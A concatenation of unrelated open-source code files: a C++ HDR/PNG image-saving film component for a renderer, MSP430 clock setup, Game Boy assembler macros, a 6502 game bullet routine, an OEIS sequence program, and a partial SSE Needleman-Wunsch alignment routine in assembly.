IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <pch.h>
#include <lightmetrica/film.h>
#include <lightmetrica/property.h>
#include <lightmetrica/logger.h>
#include <lightmetrica/enum.h>
#include <FreeImage.h>
#include <signal.h>
#include <lightmetrica/detail/serial.h>
LM_NAMESPACE_BEGIN
namespace
{
void FreeImageErrorHandler(FREE_IMAGE_FORMAT fif, const char *message)
{
if (fif != FIF_UNKNOWN)
{
LM_LOG_ERROR(std::string(FreeImage_GetFormatFromFIF(fif)) + " Format");
}
LM_LOG_ERROR(message);
}
bool SaveImage(const std::string& path, const std::vector<Vec3>& film, int width, int height)
{
FreeImage_SetOutputMessage(FreeImageErrorHandler);
// --------------------------------------------------------------------------------
#pragma region Check & create output directory
{
const auto parent = boost::filesystem::path(path).parent_path();
if (!boost::filesystem::exists(parent) && parent != "")
{
LM_LOG_INFO("Creating directory : " + parent.string());
if (!boost::filesystem::create_directories(parent))
{
LM_LOG_WARN("Failed to create output directory : " + parent.string());
return false;
}
}
}
#pragma endregion
// --------------------------------------------------------------------------------
#pragma region Save image
{
boost::filesystem::path fsPath(path);
if (fsPath.extension() == ".hdr" || fsPath.extension() == ".exr")
{
#pragma region HDR
FIBITMAP* fibitmap = FreeImage_AllocateT(FIT_RGBF, width, height);
if (!fibitmap)
{
LM_LOG_ERROR("Failed to allocate bitmap");
return false;
}
for (int y = 0; y < height; y++)
{
FIRGBF* bits = (FIRGBF*)FreeImage_GetScanLine(fibitmap, y);
for (int x = 0; x < width; x++)
{
const int i = y * width + x;
//bits[x].red = (float)(Math::Clamp(film[i][0], 0_f, 1_f));
//bits[x].green = (float)(Math::Clamp(film[i][1], 0_f, 1_f));
//bits[x].blue = (float)(Math::Clamp(film[i][2], 0_f, 1_f));
bits[x].red = (float)(Math::Max(film[i][0], 0_f));
bits[x].green = (float)(Math::Max(film[i][1], 0_f));
bits[x].blue = (float)(Math::Max(film[i][2], 0_f));
}
}
if (!FreeImage_Save(fsPath.extension() == ".hdr" ? FIF_HDR : FIF_EXR, fibitmap, path.c_str(), HDR_DEFAULT))
{
LM_LOG_ERROR("Failed to save image : " + path);
FreeImage_Unload(fibitmap);
return false;
}
LM_LOG_INFO("Successfully saved to " + path);
FreeImage_Unload(fibitmap);
#pragma endregion
}
else if (fsPath.extension() == ".png")
{
#pragma region PNG
FIBITMAP* tonemappedBitmap = FreeImage_Allocate(width, height, 24, FI_RGBA_RED_MASK, FI_RGBA_GREEN_MASK, FI_RGBA_BLUE_MASK);
if (!tonemappedBitmap)
{
LM_LOG_ERROR("Failed to allocate bitmap");
return false;
}
const double Exp = 1.0 / 2.2;
const int Bytespp = 3;
for (int y = 0; y < height; y++)
{
BYTE* bits = FreeImage_GetScanLine(tonemappedBitmap, y);
for (int x = 0; x < width; x++)
{
int idx = y * width + x;
bits[FI_RGBA_RED] = (BYTE)(Math::Clamp((int)(Math::Pow((double)(film[idx][0]), Exp) * 255_f), 0, 255));
bits[FI_RGBA_GREEN] = (BYTE)(Math::Clamp((int)(Math::Pow((double)(film[idx][1]), Exp) * 255_f), 0, 255));
bits[FI_RGBA_BLUE] = (BYTE)(Math::Clamp((int)(Math::Pow((double)(film[idx][2]), Exp) * 255_f), 0, 255));
bits += Bytespp;
}
}
if (!FreeImage_Save(FIF_PNG, tonemappedBitmap, path.c_str(), PNG_DEFAULT))
{
LM_LOG_ERROR("Failed to save image : " + path);
FreeImage_Unload(tonemappedBitmap);
return false;
}
LM_LOG_INFO("Successfully saved to " + path);
FreeImage_Unload(tonemappedBitmap);
#pragma endregion
}
else
{
LM_LOG_ERROR("Invalid extension: " + fsPath.extension().string());
return false;
}
}
#pragma endregion
// --------------------------------------------------------------------------------
return true;
}
}
enum class HDRImageType
{
RadianceHDR,
OpenEXR,
PNG,
};
const std::string HDRImageType_String[] =
{
"radiancehdr",
"openexr",
"png",
};
LM_ENUM_TYPE_MAP(HDRImageType);
class Film_HDR final : public Film
{
public:
LM_IMPL_CLASS(Film_HDR, Film);
public:
LM_IMPL_F(Load) = [this](const PropertyNode* prop, Assets* assets, const Primitive* primitive) -> bool
{
if (!prop->ChildAs<int>("w", width_)) return false;
if (!prop->ChildAs<int>("h", height_)) return false;
type_ = LM_STRING_TO_ENUM(HDRImageType, prop->ChildAs<std::string>("type", "radiancehdr"));
data_.assign(width_ * height_, Vec3());
return true;
};
LM_IMPL_F(Clone) = [this](BasicComponent* o) -> void
{
auto* film = static_cast<Film_HDR*>(o);
film->width_ = width_;
film->height_ = height_;
film->data_ = data_;
};
LM_IMPL_F(Width) = [this]() -> int
{
return width_;
};
LM_IMPL_F(Height) = [this]() -> int
{
return height_;
};
LM_IMPL_F(Splat) = [this](const Vec2& rasterPos, const SPD& v) -> void
{
const int pX = Math::Clamp((int)(rasterPos.x * Float(width_)), 0, width_ - 1);
const int pY = Math::Clamp((int)(rasterPos.y * Float(height_)), 0, height_ - 1);
data_[pY * width_ + pX] += v.ToRGB();
};
LM_IMPL_F(SetPixel) = [this](int x, int y, const SPD& v) -> void
{
#if LM_DEBUG_MODE
if (x < 0 || width_ <= x || y < 0 || height_ <= y)
{
LM_LOG_ERROR("Out of range");
return;
}
#endif
// Convert to RGB and record to data
data_[y * width_ + x] = v.ToRGB();
};
LM_IMPL_F(Save) = [this](const std::string& path) -> bool
{
#if 0
boost::filesystem::path p(path);
{
// Check if extension is already contained in `path`
const auto filename = p.filename();
if (filename.has_extension())
{
LM_LOG_INFO("Extension is found '" + p.extension().string() + "'. Replaced.");
}
// Replace or add an extension according to the type
if (type_ == HDRImageType::RadianceHDR)
{
p.replace_extension(".hdr");
}
else if (type_ == HDRImageType::OpenEXR)
{
p.replace_extension(".exr");
}
}
return SaveImage(p.string(), data_, width_, height_);
#endif
auto p = path;
if (type_ == HDRImageType::RadianceHDR)
{
p += ".hdr";
}
else if (type_ == HDRImageType::OpenEXR)
{
p += ".exr";
}
else if (type_ == HDRImageType::PNG)
{
p += ".png";
}
return SaveImage(p, data_, width_, height_);
};
LM_IMPL_F(Accumulate) = [this](const Film* film_) -> void
{
assert(implName == film_->implName); // Internal type must be same
const auto* film = static_cast<const Film_HDR*>(film_);
assert(width_ == film->width_ && height_ == film->height_); // Image size must be same
std::transform(data_.begin(), data_.end(), film->data_.begin(), data_.begin(), std::plus<Vec3>());
};
LM_IMPL_F(Rescale) = [this](Float w) -> void
{
for (auto& v : data_) { v *= w; }
};
LM_IMPL_F(Clear) = [this]() -> void
{
data_.assign(width_ * height_, Vec3());
};
LM_IMPL_F(PixelIndex) = [this](const Vec2& rasterPos) -> int
{
const int pX = Math::Clamp((int)(rasterPos.x * Float(width_)), 0, width_ - 1);
const int pY = Math::Clamp((int)(rasterPos.y * Float(height_)), 0, height_ - 1);
return pY * width_ + pX;
};
LM_IMPL_F(Serialize) = [this](std::ostream& stream) -> bool
{
{
cereal::PortableBinaryOutputArchive oa(stream);
oa(width_, height_, type_, data_);
}
return true;
};
LM_IMPL_F(Deserialize) = [this](std::istream& stream, const std::unordered_map<std::string, void*>& userdata) -> bool
{
{
cereal::PortableBinaryInputArchive ia(stream);
ia(width_, height_, type_, data_);
}
return true;
};
private:
int width_;
int height_;
HDRImageType type_ = HDRImageType::RadianceHDR;
std::vector<Vec3> data_;
};
LM_COMPONENT_REGISTER_IMPL(Film_HDR, "film::hdr");
LM_NAMESPACE_END
|
;/**@file Clocking.asm
;* @brief Sets the proper clocks for Tx and Rx
;*
;* @author Saman Naderiparizi, UW Sensor Systems Lab
;* @created 3-10-14
;*
;*
;* @section Command Handles
;* -#TxClock , RxClock
;*/
;/INCLUDES----------------------------------------------------------------------------------------------------------------------------
.cdecls C,LIST, "../globals.h"
.cdecls C,LIST, "rfid.h"
.def TxClock, RxClock
TxClock:
MOV.B #(0xA5), &CSCTL0_H ;[] Switch to corr Tx frequency 12MHz
MOV.W #(DCORSEL|DCOFSEL_6), &CSCTL1 ;
MOV.W #(SELA_0|SELM_3), &CSCTL2 ;
BIS.W #(SELS_3), &CSCTL2
MOV.W #(DIVA_0|DIVS_1|DIVM_1), &CSCTL3 ;
BIS.W #(MODCLKREQEN|SMCLKREQEN|MCLKREQEN|ACLKREQEN), &CSCTL6
RETA
RxClock:
MOV.B #(0xA5), &CSCTL0_H ;[] Switch to corr Rx frequency 16MHz
MOV.W #(DCORSEL|DCOFSEL_4), &CSCTL1 ;
MOV.W #(SELA_0|SELM_3), &CSCTL2 ;
BIS.W #(SELS_3), &CSCTL2
MOV.W #(DIVA_0|DIVS_0|DIVM_0), &CSCTL3 ;
BIS.W #(MODCLKREQEN|SMCLKREQEN|MCLKREQEN|ACLKREQEN), &CSCTL6
RETA
.end
|
; Macros to verify assumptions about the data or code
table_width: MACRO
CURRENT_TABLE_WIDTH = \1
IF _NARG == 2
REDEF CURRENT_TABLE_START EQUS "\2"
ELSE
REDEF CURRENT_TABLE_START EQUS "._table_width\@"
{CURRENT_TABLE_START}:
ENDC
ENDM
assert_table_length: MACRO
x = \1
ASSERT x * CURRENT_TABLE_WIDTH == @ - {CURRENT_TABLE_START}, \
"{CURRENT_TABLE_START}: expected {d:x} entries, each {d:CURRENT_TABLE_WIDTH} bytes"
ENDM
list_start: MACRO
list_index = 0
IF _NARG == 1
REDEF CURRENT_LIST_START EQUS "\1"
ELSE
REDEF CURRENT_LIST_START EQUS "._list_start\@"
{CURRENT_LIST_START}:
ENDC
ENDM
li: MACRO
ASSERT !STRIN(\1, "@"), STRCAT("String terminator \"@\" in list entry: ", \1)
db \1, "@"
list_index = list_index + 1
ENDM
assert_list_length: MACRO
x = \1
ASSERT x == list_index, \
"{CURRENT_LIST_START}: expected {d:x} entries, got {d:list_index}"
ENDM
nybble_array: MACRO
CURRENT_NYBBLE_ARRAY_VALUE = 0
CURRENT_NYBBLE_ARRAY_LENGTH = 0
IF _NARG == 1
REDEF CURRENT_NYBBLE_ARRAY_START EQUS "\1"
ELSE
REDEF CURRENT_NYBBLE_ARRAY_START EQUS "._nybble_array\@"
{CURRENT_NYBBLE_ARRAY_START}:
ENDC
ENDM
nybble: MACRO
ASSERT 0 <= (\1) && (\1) < $10, "nybbles must be 0-15"
CURRENT_NYBBLE_ARRAY_VALUE = (\1) | (CURRENT_NYBBLE_ARRAY_VALUE << 4)
CURRENT_NYBBLE_ARRAY_LENGTH = CURRENT_NYBBLE_ARRAY_LENGTH + 1
IF CURRENT_NYBBLE_ARRAY_LENGTH % 2 == 0
db CURRENT_NYBBLE_ARRAY_VALUE
CURRENT_NYBBLE_ARRAY_VALUE = 0
ENDC
ENDM
end_nybble_array: MACRO
IF CURRENT_NYBBLE_ARRAY_LENGTH % 2
db CURRENT_NYBBLE_ARRAY_VALUE << 4
ENDC
IF _NARG == 1
x = \1
ASSERT x == CURRENT_NYBBLE_ARRAY_LENGTH, \
"{CURRENT_NYBBLE_ARRAY_START}: expected {d:x} nybbles, got {d:CURRENT_NYBBLE_ARRAY_LENGTH}"
x = (x + 1) / 2
ASSERT x == @ - {CURRENT_NYBBLE_ARRAY_START}, \
"{CURRENT_NYBBLE_ARRAY_START}: expected {d:x} bytes"
ENDC
ENDM
bit_array: MACRO
CURRENT_BIT_ARRAY_VALUE = 0
CURRENT_BIT_ARRAY_LENGTH = 0
IF _NARG == 1
REDEF CURRENT_BIT_ARRAY_START EQUS "\1"
ELSE
REDEF CURRENT_BIT_ARRAY_START EQUS "._bit_array\@"
{CURRENT_BIT_ARRAY_START}:
ENDC
ENDM
dbit: MACRO
ASSERT (\1) == 0 || (\1) == 1, "bits must be 0 or 1"
CURRENT_BIT_ARRAY_VALUE = CURRENT_BIT_ARRAY_VALUE | ((\1) << (CURRENT_BIT_ARRAY_LENGTH % 8))
CURRENT_BIT_ARRAY_LENGTH = CURRENT_BIT_ARRAY_LENGTH + 1
IF CURRENT_BIT_ARRAY_LENGTH % 8 == 0
db CURRENT_BIT_ARRAY_VALUE
CURRENT_BIT_ARRAY_VALUE = 0
ENDC
ENDM
end_bit_array: MACRO
IF CURRENT_BIT_ARRAY_LENGTH % 8
db CURRENT_BIT_ARRAY_VALUE
ENDC
IF _NARG == 1
x = \1
ASSERT x == CURRENT_BIT_ARRAY_LENGTH, \
"{CURRENT_BIT_ARRAY_START}: expected {d:x} bits, got {d:CURRENT_BIT_ARRAY_LENGTH}"
x = (x + 7) / 8
ASSERT x == @ - {CURRENT_BIT_ARRAY_START}, \
"{CURRENT_BIT_ARRAY_START}: expected {d:x} bytes"
ENDC
ENDM
def_grass_wildmons: MACRO
;\1: encounter rate
CURRENT_GRASS_WILDMONS_RATE = \1
REDEF CURRENT_GRASS_WILDMONS_LABEL EQUS "._def_grass_wildmons_\1"
{CURRENT_GRASS_WILDMONS_LABEL}:
db \1
ENDM
end_grass_wildmons: MACRO
IF CURRENT_GRASS_WILDMONS_RATE == 0
ASSERT 1 == @ - {CURRENT_GRASS_WILDMONS_LABEL}, \
"def_grass_wildmons {d:CURRENT_GRASS_WILDMONS_RATE}: expected 1 byte"
ELSE
ASSERT WILDDATA_LENGTH == @ - {CURRENT_GRASS_WILDMONS_LABEL}, \
"def_grass_wildmons {d:CURRENT_GRASS_WILDMONS_RATE}: expected {d:WILDDATA_LENGTH} bytes"
ENDC
ENDM
def_water_wildmons: MACRO
;\1: encounter rate
CURRENT_WATER_WILDMONS_RATE = \1
REDEF CURRENT_WATER_WILDMONS_LABEL EQUS "._def_water_wildmons_\1"
{CURRENT_WATER_WILDMONS_LABEL}:
db \1
ENDM
end_water_wildmons: MACRO
IF CURRENT_WATER_WILDMONS_RATE == 0
ASSERT 1 == @ - {CURRENT_WATER_WILDMONS_LABEL}, \
"def_water_wildmons {d:CURRENT_WATER_WILDMONS_RATE}: expected 1 byte"
ELSE
ASSERT WILDDATA_LENGTH == @ - {CURRENT_WATER_WILDMONS_LABEL}, \
"def_water_wildmons {d:CURRENT_WATER_WILDMONS_RATE}: expected {d:WILDDATA_LENGTH} bytes"
ENDC
ENDM
|
; int islower(int c)
SECTION code_ctype
PUBLIC islower
EXTERN asm_islower, error_zc
islower:
inc h
dec h
jp nz, error_zc
ld a,l
call asm_islower
ld l,h
ret c
inc l
ret
|
; Sprite top left corner to char coordinates:
; int((spr_x-24)/8), int((spr_y-50)/8)
;===============================================================================
; Constants
BulletsMax = 10
Bullet1stCharacter = 64
;===============================================================================
; Variables
bulletsXHigh byte 0
bulletsXLow byte 0
bulletsY byte 0
bulletsXCharCurrent byte 0
bulletsXOffsetCurrent byte 0
bulletsYCharCurrent byte 0
bulletsColorCurrent byte 0
bulletsDirCurrent byte 0
bulletsActive dcb BulletsMax, 0
bulletsXChar dcb BulletsMax, 0
bulletsYChar dcb BulletsMax, 0
bulletsXOffset dcb BulletsMax, 0
bulletsColor dcb BulletsMax, 0
bulletsDir dcb BulletsMax, 0
bulletsTemp byte 0
bulletsXFlag byte 0
bulletsXCharCol byte 0
bulletsYCharCol byte 0
bulletsDirCol byte 0
;===============================================================================
; Macros/Subroutines
defm GAMEBULLETS_FIRE_AAAVV ; /1 = XChar (Address)
; /2 = XOffset (Address)
; /3 = YChar (Address)
; /4 = Color (Value)
; /5 = Direction (True-Up, False-Down) (Value)
ldx #0
@loop
lda bulletsActive,X
bne @skip
; save the current bullet in the list
lda #1
sta bulletsActive,X
lda /1
sta bulletsXChar,X
clc
lda /2 ; get the character offset
adc #Bullet1stCharacter ; add on the bullet first character
sta bulletsXOffset,X
lda /3
sta bulletsYChar,X
lda #/4
sta bulletsColor,X
lda #/5
sta bulletsDir,X
; found a slot, quit the loop
jmp @found
@skip
; loop for each bullet
inx
cpx #BulletsMax
bne @loop
@found
endm
;===============================================================================
gameBulletsGet
lda bulletsXChar,X
sta bulletsXCharCurrent
lda bulletsXOffset,X
sta bulletsXOffsetCurrent
lda bulletsYChar,X
sta bulletsYCharCurrent
lda bulletsColor,X
sta bulletsColorCurrent
lda bulletsDir,X
sta bulletsDirCurrent
rts
;===============================================================================
gameBulletsUpdate
ldx #0
buloop
lda bulletsActive,X
bne buok
jmp skipBulletUpdate
buok
; get the current bullet from the list
jsr gameBulletsGet
LIBSCREEN_SETCHARPOSITION_AA bulletsXCharCurrent, bulletsYCharCurrent
LIBSCREEN_SETCHAR_V SpaceCharacter
lda bulletsDirCurrent
beq @down
@up
;dec bulletsYCharCurrent
;bpl @skip
;jmp @dirdone
ldy bulletsYCharCurrent
dey
sty bulletsYCharCurrent
cpy #0; this leave a row empty at the top for the scores
bne @skip
jmp @dirdone
@down
ldy bulletsYCharCurrent
iny
sty bulletsYCharCurrent
cpy #25
bne @skip
@dirdone
lda #0
sta bulletsActive,X
jmp skipBulletUpdate
@skip
; set the bullet color
LIBSCREEN_SETCOLORPOSITION_AA bulletsXCharCurrent, bulletsYCharCurrent
LIBSCREEN_SETCHAR_A bulletsColorCurrent
; set the bullet character
LIBSCREEN_SETCHARPOSITION_AA bulletsXCharCurrent, bulletsYCharCurrent
LIBSCREEN_SETCHAR_A bulletsXOffsetCurrent
lda bulletsYCharCurrent
sta bulletsYChar,X
skipBulletUpdate
inx
cpx #BulletsMax
;bne @loop ; loop for each bullet
beq @finished
jmp buloop
@finished
rts
;===============================================================================
defm GAMEBULLETS_COLLIDED ; /1 = XChar (Address)
; /2 = YChar (Address)
; /3 = Direction (True-Up, False-Down) (Value)
lda /1
sta bulletsXCharCol
lda /2
sta bulletsYCharCol
lda #/3
sta bulletsDirCol
jsr gameBullets_Collided
endm
gameBullets_Collided
ldx #0
@loop
; skip this bullet if not active
lda bulletsActive,X
beq @skip
; skip if up/down not equal
lda bulletsDir,X
cmp bulletsDirCol
bne @skip
; skip if currentbullet YChar != YChar
lda bulletsYChar,X
cmp bulletsYCharCol
bne @skip
lda #0
sta bulletsXFlag
; skip if currentbullet XChar != XChar
ldy bulletsXChar,X
cpy bulletsXCharCol
bne @xminus1
lda #1
sta bulletsXFlag
jmp @doneXCheck
@xminus1
; skip if currentbullet XChar-1 != XChar
dey
cpy bulletsXCharCol
bne @xplus1
lda #1
sta bulletsXFlag
jmp @doneXCheck
@xplus1
; skip if currentbullet XChar+1 != XChar
iny
iny
cpy bulletsXCharCol
bne @doneXCheck
lda #1
sta bulletsXFlag
@doneXCheck
lda bulletsXFlag
beq @skip
; collided
lda #0
sta bulletsActive,X ; disable bullet
; delete bullet from screen
lda bulletsXChar,X
sta bulletsXCharCurrent
lda bulletsYChar,X
sta bulletsYCharCurrent
LIBSCREEN_SETCHARPOSITION_AA bulletsXCharCurrent, bulletsYCharCurrent
LIBSCREEN_SETCHAR_V SpaceCharacter
lda #1 ; set as collided
jmp @collided
@skip
; loop for each bullet
inx
cpx #BulletsMax
bne @loop
; set as not collided
lda #0
@collided
rts
|
; A178242: Numerator of n*(5+n)/((n+1)*(n+4)).
; 0,3,7,6,9,25,33,21,26,63,75,44,51,117,133,75,84,187,207,114,125,273,297,161,174,375,403,216,231,493,525,279,296,627,663,350,369,777,817,429,450,943,987,516,539,1125,1173,611,636,1323,1375,714,741,1537,1593,825,854,1767,1827,944,975,2013,2077,1071,1104,2275,2343,1206,1241,2553,2625,1349,1386,2847,2923,1500,1539,3157,3237,1659,1700,3483,3567,1826,1869,3825,3913,2001,2046,4183,4275,2184,2231,4557,4653,2375,2424,4947,5047,2574,2625,5353,5457,2781,2834,5775,5883,2996,3051,6213,6325,3219,3276,6667,6783,3450,3509,7137,7257,3689,3750,7623,7747,3936,3999,8125,8253,4191,4256,8643,8775,4454,4521,9177,9313,4725,4794,9727,9867,5004,5075,10293,10437,5291,5364,10875,11023,5586,5661,11473,11625,5889,5966,12087,12243,6200,6279,12717,12877,6519,6600,13363,13527,6846,6929,14025,14193,7181,7266,14703,14875,7524,7611,15397,15573,7875,7964,16107,16287,8234,8325,16833,17017,8601,8694,17575,17763,8976,9071,18333,18525,9359,9456,19107,19303,9750,9849,19897,20097,10149,10250,20703,20907,10556,10659,21525,21733,10971,11076,22363,22575,11394,11501,23217,23433,11825,11934,24087,24307,12264,12375,24973,25197,12711,12824,25875,26103,13166,13281,26793,27025,13629,13746,27727,27963,14100,14219,28677,28917,14579,14700,29643,29887,15066,15189,30625,30873,15561,15686,31623
mov $2,$0
mov $0,2
add $2,3
bin $2,2
lpb $0,1
add $2,$0
sub $0,1
sub $2,4
sub $2,$0
mov $0,1
mov $1,$2
add $2,1
mov $3,2
gcd $3,$2
mul $3,3
mul $1,$3
lpe
div $1,6
|
global NW_ASM_SSE
extern malloc
extern free
extern printf
extern backtracking_C
extern new_alignment_matrix
extern get_score_SSE
section .rodata
malloc_error_str : db `No se pudo reservar memoria suficiente.\nMalloc: %d\nIntente reservar: %d bytes\n`,0
; Máscara utilizada para invertir el string almacenado en un registro
reverse_mask : DB 0xE,0xF,0xC,0xD,0xA,0xB,0x8,0x9,0x6,0x7,0x4,0x5,0x2,0x3,0x0,0x1
; Variables globales
%define constant_missmatch_xmm xmm1
%define constant_match_xmm xmm2
%define constant_gap_xmm xmm3
%define str_row_xmm xmm4
%define str_col_xmm xmm5
%define left_score_xmm xmm6
%define up_score_xmm xmm7
%define diag_score_xmm xmm8
%define reverse_mask_xmm xmm9
%define zeroes_xmm xmm10
%define diag1_xmm xmm11
%define diag2_xmm xmm12
%define height r8
%define width r9
%define score_matrix r10
%define v_aux r11
%define seq1 r12
%define seq2 r13
%define seq1_len r14
%define seq2_len r15
; Alignment offsets
; struct Alignment{
; Sequence* sequence_1;
; Sequence* sequence_2;
; Parameters* parameters;
; Result* result;
; short* matrix;
; };
%define alignment_offset_sequence_1 0
%define alignment_offset_sequence_2 8
%define alignment_offset_parameters 16
%define alignment_offset_result 24
%define alignment_offset_matrix 32
; Sequence offsets
; struct Sequence{
; unsigned int length;
; char* sequence; //data
; };
%define sequence_offset_length 0
%define sequence_offset_sequence 8
; Parameters offsets
; struct Parameters{
; char* algorithm;
; short match;
; short missmatch;
; short gap;
; };
%define parameters_offset_algorithm 0
%define parameters_offset_match 8
%define parameters_offset_missmatch 10
%define parameters_offset_gap 12
; Result offsets
;struct Result{
; Sequence* sequence_1;
; Sequence* sequence_2;
; short score;
;};
%define result_offset_sequence_1 0
%define result_offset_sequence_2 8
%define result_offset_score 16
; Este valor se usa para calcular el tamaño de la matriz
; y poder navegarla. Es necesario actualizarlo si cambia.
; El tamaño del vector auxiliar se corresponde con la cantidad de caracteres que vamos a procesar simultáneamente
%define vector_len 8
%define vector_len_log 3
section .text
; Funciones auxiliares
; Inicializar los valores del vector auxiliar y la matriz de puntajes
inicializar_casos_base:
%define diag_xmm xmm13
%define offset_y rbx
%define i_index rsi
mov rdi, [rdi + alignment_offset_parameters]
mov di, [rdi + parameters_offset_gap]
; Llenar el vector auxiliar con el valor SHRT_MIN / 2
mov i_index, 0
mov rax, width
dec rax
.loop:
mov word [v_aux + i_index*2], -32768 ; SHRT_MIN/2
inc i_index
cmp rax, i_index
jne .loop
; Inicializar casos base en matriz
mov i_index, 0
.loop1:
mov rax, i_index
mul width
shl rax, vector_len_log
mov offset_y, rax ; offset_y = i * width * vector_len
mov ax, -32768 ; SHRT_MIN/2
pinsrw diag_xmm, eax, 0
pshuflw diag_xmm, diag_xmm, 0b0
pshufd diag_xmm, diag_xmm, 0b0 ; diag_xmm = | -16384 | -16384 | ... | -16384 | -16384 |
movdqu [score_matrix + 2*offset_y], diag_xmm
mov rax, rdi
mul i_index
shl rax, vector_len_log
pinsrw diag_xmm, eax, vector_len-1 ; diag_xmm = | gap * i * vector_len | -16384 | ... | -16384 | -16384 |
movdqu [score_matrix + 2*offset_y + 2*vector_len], diag_xmm
inc i_index
mov rax, height
cmp i_index, rax
jne .loop1
ret
; Lee de memoria y almacena correctamente en los registros los caracteres de la secuencia columna a utilizar en la comparación
leer_secuencia_columna:
; rdi = i
%define shift_count xmm13
%define shift_mask xmm14
%define i_index rdi
mov rdx, i_index
inc rdx
shl rdx, vector_len_log
cmp rdx, seq2_len
jl .else; Caso de desborde por abajo ; (i+1)*vector_len < seq2_len ?
sub rdx, seq2_len ; rdx = offset_col = (i+1) * vector_len
movq str_col_xmm, [seq2 + seq2_len - vector_len]
pxor shift_count, shift_count
mov rcx, rdx
shl rcx, 3
pinsrb shift_count, ecx, 0
psrlq str_col_xmm, shift_count ; str_col_xmm = | 0...0 | str_col |
mov ecx, 0xFF
pcmpeqb shift_mask, shift_mask ; shift_mask = | 1...1 |
mov rcx, 8
sub rcx, rdx
shl rcx, 3
pinsrb shift_count, ecx, 0
psllq shift_mask, shift_count ; shift_mask = | 1...1 | 0...0 |
por str_col_xmm, shift_mask ; str_col_xmm = | 1...1 | str_col |
jmp .end
.else:; Caso sin desborde
movq str_col_xmm, [seq2 + i_index * vector_len]
jmp .end
.end:
; Desempaquetar los caracteres en str_col_xmm para trabajar con words
punpcklbw str_col_xmm, zeroes_xmm
; Invertir la secuencia de caracteres para compararlos correctamente mas adelante
pshufb str_col_xmm, reverse_mask_xmm
ret
; Lee de memoria y almacena correctamente en los registros los caracteres de la secuencia fila a utilizar en la comparación
leer_secuencia_fila:
; rdi = j
%define shift_count xmm13
%define shift_mask xmm14
%define j_index rdi
mov rdx, j_index
sub rdx, vector_len ; rdx = j - vector_len
cmp rdx, 0; Caso de desborde por izquierda
jge .elseif ; j - vector_len >= 0 ?
mov rcx, vector_len
sub rcx, j_index ; rcx = offset_str_row = vector_len - j
movq str_row_xmm, [seq1]
pxor shift_count, shift_count
shl rcx, 3
; Acomodar los caracteres en str_row_xmm para que queden en las posiciones correctas para la comparación mas adelante
pinsrb shift_count, ecx, 0
psllq str_row_xmm, shift_count ; str_row_xmm = | str_row | 0...0 |
jmp .end
.elseif:; Caso de desborde por derecha ; j > width - vector_len
; Desplazamiento de puntero a derecha y levantar datos de memoria
mov rdx, width
sub rdx, vector_len
cmp j_index, rdx ; j > width-vector_len
jle .else
mov rcx, j_index
sub rcx, rdx ; rcx = offset_str_row = j - (width - vector_len)
mov rdx, j_index
sub rdx, rcx
movq str_row_xmm, [seq1 + rdx - vector_len]
pxor shift_count, shift_count
shl rcx, 3
; Acomodar los caracteres en str_row_xmm para que queden en las posiciones correctas para la comparación mas adelante
pinsrb shift_count, ecx, 0
psrlq str_row_xmm, shift_count ; str_row_xmm = | 0...0 | str_row |
jmp .end
.else:; Caso sin desborde
movq str_row_xmm, [seq1 + j_index - vector_len]
jmp .end
.end:
; Desempaquetar los caracteres en str_row_xmm para trabajar con words
punpcklbw str_row_xmm, zeroes_xmm
ret
; Calcula los puntajes resultantes de las comparaciones entre caracteres
calcular_scores:
; rdi = j
; rsi = offset_y
; rdx = offset_x
%define cmp_match_xmm xmm0
%define offset_y rsi
%define offset_x rdx
mov rcx, rsi
add rcx, rdx
; Calcular los scores viniendo por izquierda, sumandole a cada posicion la penalidad del gap
movdqu left_score_xmm, diag2_xmm
paddsw left_score_xmm, constant_gap_xmm
; Calcular los scores viniendo por arriba, sumandole a cada posicion la penalidad del gap
movdqu up_score_xmm, diag2_xmm
psrldq up_score_xmm, 2 ; up_score_xmm = | 0 | up_score |
mov bx, word [v_aux + 2*rdi - 2*1]
pinsrw up_score_xmm, ebx, 0b111 ; up_score_xmm = | v_aux[j-1] | up_score |
paddsw up_score_xmm, constant_gap_xmm
; Calcular los scores viniendo diagonalmente, sumando en cada caso el puntaje de match o missmatch
movdqu diag_score_xmm, diag1_xmm
psrldq diag_score_xmm, 2 ; up_score_xmm = | 0 | diag_score |
mov cx, word [v_aux + 2*rdi - 2*2]
pinsrw diag_score_xmm, ecx, 0b111 ; diag_score_xmm = | v_aux[j-2] | up_score |
; Comparar los dos strings y colocar según corresponda el puntaje correcto (match o missmatch) en cada posición
movdqu cmp_match_xmm, str_col_xmm
pcmpeqw cmp_match_xmm, str_row_xmm ; Mascara con unos en las posiciones donde coinciden los caracteres
movdqu str_row_xmm, constant_missmatch_xmm
pblendvb str_row_xmm, constant_match_xmm ; Seleccionar para cada posicion el puntaje correcto basado en la mascara previa
; Obtener el máximo puntaje entre venir por la diagonal, por izquierda y por arriba
paddsw diag_score_xmm, str_row_xmm
ret
; Funcion principal (global)
NW_ASM_SSE:
; void NW_C_SSE (Alignment& alignment, bool debug)
; struct Alignment{
; Sequence* sequence_1;
; Sequence* sequence_2;
; Parameters* parameters;
; Result* result;
; AlignmentMatrix* matrix;
; };
; rdi = *alignment, rsi = debug
; prologo ----------------------------------------------------------
push rbp
mov rbp, rsp
push rbx ;save current rbx
push r12 ;save current r12
push r13 ;save current r13
push r14 ;save current r14
push r15 ;save current r15
; preservo debug --------------------------------------------------
push rsi
; acceso a las subestructuras de alignment ------------------------
; Punteros y tamaños de las secuencias
mov rax, [rdi + alignment_offset_sequence_1]
mov seq1, [rax + sequence_offset_sequence]
xor seq1_len, seq1_len
mov r14d, [rax + sequence_offset_length]
mov rax, [rdi + alignment_offset_sequence_2]
mov seq2, [rax + sequence_offset_sequence]
xor seq2_len, seq2_len
mov r15d, [rax + sequence_offset_length]
;------------------------------------------------------------------
; Calculo height, width y score_matrix. Malloc matrix y v_aux -----
mov rax, seq2_len
add rax, vector_len
dec rax
shr rax, vector_len_log
mov height,rax
mov rax, seq1_len
add rax, vector_len
mov width, rax
mov rax, height
mul width
shl rax, vector_len_log
; -----------------------------------------------------------------
